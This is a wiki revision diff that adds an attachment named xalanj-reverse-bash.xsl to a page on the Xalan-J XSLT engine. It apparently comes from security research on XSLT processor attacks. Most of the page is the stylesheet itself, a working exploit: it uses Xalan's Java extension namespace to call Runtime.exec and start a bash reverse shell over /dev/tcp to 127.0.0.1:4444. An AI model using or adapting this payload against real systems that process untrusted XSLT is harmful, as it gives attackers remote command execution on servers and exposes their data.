Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35

From version Icon 46.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:44
Change comment: There is no comment for this version
To version Icon 47.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:47
Change comment: Upload new attachment xalanj-reverse-bash.xsl

Summary

Details

Icon xalanj-reverse-bash.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +1002 bytes
Content
... ... @@ -1,0 +1,31 @@
1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +